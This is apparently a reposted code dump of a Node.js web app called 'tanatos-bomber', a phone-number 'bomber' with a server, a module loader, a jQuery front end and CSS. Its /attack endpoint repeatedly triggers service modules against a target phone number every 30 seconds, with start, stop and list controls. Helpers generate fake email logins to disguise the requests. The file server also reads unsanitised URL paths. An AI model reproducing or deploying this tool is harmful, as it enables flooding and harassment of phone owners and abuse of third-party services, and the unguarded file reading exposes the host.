Переработка скриптов для работы без сторонних библиотек
index.js:
const http = require('http'); const url = require('url'); const fs = require('fs'); const path = require('path'); const service = require('./core.js'); const current_attacks = []; const list_attacks = [];
const server = http.createServer(function (req, res) { const parsedUrl = url.parse(req.url, true); const pathname = parsedUrl.pathname; const ext = path.parse(pathname).ext; let contentType = 'text/html';
if (ext == '.css') { contentType = 'text/css'; } else if (ext == '.js') { contentType = 'text/javascript'; }
fs.readFile(__dirname + pathname, function (err, data) { if (err) { console.log(err); res.writeHead(404); res.write('File not found'); } else { res.writeHead(200, { 'Content-Type': contentType }); res.write(data); } res.end(); }); });
const port = process.argv[2] || 3000;
server.listen(port, function () {
console.log([INFO] Server started on ${port});
});
server.on('request', function (req, res) {
if (req.method === 'GET') {
if (req.url === '/') {
fs.readFile(__dirname + '/html/index.html', function (err, data) {
if (err) {
console.log(err);
res.writeHead(404);
res.write('File not found');
} else {
res.writeHead(200, { 'Content-Type': 'text/html' });
res.write(data);
}
res.end();
});
} else if (req.url.startsWith('/attack')) {
const url_parts = url.parse(req.url, true);
const query = url_parts.query;
if (!Number(query.number) || query.number.toString().length < 11) {
return res.end(JSON.stringify({
'success': false,
'text': 'Номер телефона не указан либо не является корректным'
}));
}
if (!Number(query.loops) || !query.loops) {
return res.end(JSON.stringify({
'success': false,
'text': 'Параментр loop отсутсвует либо не является корректным'
}));
} else {
count = 0;
list_attacks.push({
number: Number(query.number),
loop: Number(query.loops),
startedAt: Date.now()
});
service.start(query.number);
current_attacks[query.number] = setInterval(async function () {
service.start(query.number);
count++;
if (count == query.loops - 1) {
clearInterval(current_attacks[query.number]);
for (let key in list_attacks) {
if (list_attacks[key].number == query.number) {
list_attacks.splice(key, 1);
}
}
}
}, 30000);
return res.end(JSON.stringify({
'success': true,
'text': Атака на номер +${query.number} успешно запущена
}));
}
} else if (req.url.startsWith('/stop')) {
const url_parts = url.parse(req.url, true);
const query = url_parts.query;
if (query.number) {
if (current_attacks[query.number]) {
clearInterval(current_attacks[query.number]);
for (let key in list_attacks) {
if (list_attacks[key].number == query.number) {
list_attacks.splice(key, 1);
}
}
return res.end(JSON.stringify({
success: true,
text: Атака на номер +${query.number} успешно прекращена
}));
} else {
return res.end(JSON.stringify({
success: false,
text: Нет активных атак по номеру +${query.number}
}));
}
} else {
return res.end(JSON.stringify({
success: false,
text: 'Параментр number не указал либо не является корректным'
}));
}
} else if (req.url === '/list') {
if (list_attacks.length === 0) {
result = {
success: false,
text: 'Список активных атак пуст'
}
return res.end(JSON.stringify(result));
} else {
result = {
success: true,
result: list_attacks
}
return res.end(JSON.stringify(result));
}
}
}
});
module.exports.mailGen = function () { let domains = ['@mail.ru', '@yandex.ru', '@gmail.com', '@rambler.ru'] let fakelogin = Math.random().toString(36).substr(5, 9) let result = fakelogin + getRandomElement(domains) return result }
module.exports.charsGen = function () { let result = Math.random().toString(36).substr(5, 9) return result }
function rand(min, max) { return Math.round(Math.random() * (max - min)) + min }
function getRandomElement(arr) { var rand = Math.floor(Math.random() * arr.length); return arr[rand]; }
core.js:
const fs = require('fs'); const path = require('path');
var services = {}; fs.readdirSync(path.join(__dirname, 'services')).forEach(function (file) { var name = file.replace('.js', ''); services[name] = require('./services/' + file); });
module.exports.start = function (number) { for (let key in services) { services[key].run(number) } }
index.html:
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css'>
<link rel='stylesheet prefetch' href='https://fonts.googleapis.com/css?family=Roboto:100,300,400,500,700,900|Material+Icons'>
<link rel='stylesheet' href='css/style.css'>
<script src='./js/jquery.min.js'></script>
<script src='./js/main.js'></script>
<script src='https://cdn.jsdelivr.net/npm/sweetalert2@10'></script>
tanatos-bomber
main.js: $(document).on('click', '#submit', function () { if ($('input[name='number']').val() && $('input[name='loops']').val()) { $.ajax({ method: 'GET', url: '/attack', data: { number: $('input[name='number']').val(), loops: $('input[name='loops']').val() }, dataType: 'json', success: function (response) { if (response.success == true) { document.getElementById('submit').innerHTML = 'Остановить атаку'; document.getElementById('submit').id = 'stop' Swal.fire({ icon: 'success', title: 'OK', text: response.text, footer: 'Автор Tanatos с помощью GIT' }); } else { Swal.fire({ icon: 'error', title: 'Ошибка', text: response.text, footer: 'Автор Tanatos с помощью GIT' }); } } }); return false; } });
$(document).on('click', '#stop', function () { $.ajax({ method: 'GET', url: '/stop', data: { number: $('input[name='number']').val() }, dataType: 'json', success: function (response) { if (response.success == true) { document.getElementById('stop').innerHTML = 'Атака'; document.getElementById('stop').id = 'submit' Swal.fire({ icon: 'success', title: 'OK', text: response.text, footer: 'Автор Tanatos с помощью GIT' }); } else { Swal.fire({ icon: 'error', title: 'Ошибка', text: response.text, footer: 'Автор Tanatos с помощью GIT' }); } } }); });
style.css: html { width: 100%; height: 100%; }
body{
background-image: url('neo.png');
background-position: center;
background-size: 20%;
}
body { background-image: url('/neo.png') ; color: rgba(0, 0, 0, 0.6); font-family: 'Roboto', sans-serif; font-size: 14px; line-height: 1.6em; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; }
.overlay, .form-panel.one:before { position: absolute; top: 0; left: 0; display: none; background: rgba(0, 0, 0, 0.8); width: 100%; height: 100%; }
A { color: rgb(0, 0, 0); text-decoration: none; }
.form { z-index: 15; position: relative; background: rgb(2,0,36); background: linear-gradient(10deg, rgba(2,0,36,1) 0%, rgba(121,9,92,1) 51%, rgba(0,212,255,1) 100%); width: 600px; border-radius: 40px; box-shadow: 0 0 30px rgba(199, 14, 216, 0.952); box-sizing: border-box; margin: 100px auto 10px; overflow: hidden; }
.form-group { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; margin: 0 0 20px; } .form-group:last-child { margin: 0; } .form-group label { display: block; margin: 0 0 10px; color: rgb(255, 255, 255); font-size: 12px; font-weight: 500; line-height: 1; text-transform: uppercase; letter-spacing: .2em; } .form-group input { outline: none; display: block; background: rgba(132, 0, 255, 0.103); width: 100%; border: 0; border-radius: 10px; box-sizing: border-box; padding: 12px 20px; color: rgb(255, 255, 255); font-family: inherit; font-size: inherit; font-weight: 500; line-height: inherit; -webkit-transition: 0.3s ease; transition: 0.3s ease; } input[id=number]::-webkit-inner-spin-button, input[id=number]::-webkit-outer-spin-button { -webkit-appearance: none; margin: 0; } .form-group button { outline: none; background: #4285F4; width: 100%; border: 0; border-radius: 10px; padding: 12px 20px; color: #FFFFFF; font-family: inherit; font-size: inherit; font-weight: 500; line-height: inherit; text-transform: uppercase; cursor: pointer; }
.form-group button:hover { background-color: #346dca; }
.form-group .form-remember { font-size: 12px; font-weight: 400; letter-spacing: 0; text-transform: none; } .form-group .form-remember input[type='checkbox'] { display: inline-block; width: auto; margin: 0 10px 0 0; } .form-group .form-recovery { color: #4285F4; font-size: 12px; text-decoration: none; } .form-panel { padding: 60px calc(5% + 60px) 60px 60px; box-sizing: border-box; } .form-header { margin: 0 0 40px; } .form-header h1 { padding: 4px 0; text-align: center; color: #ffffff; font-size: 24px; font-weight: 700; text-transform: uppercase; }
原文地址: https://www.cveoy.top/t/topic/ndh3 著作权归作者所有。请勿转载和采集!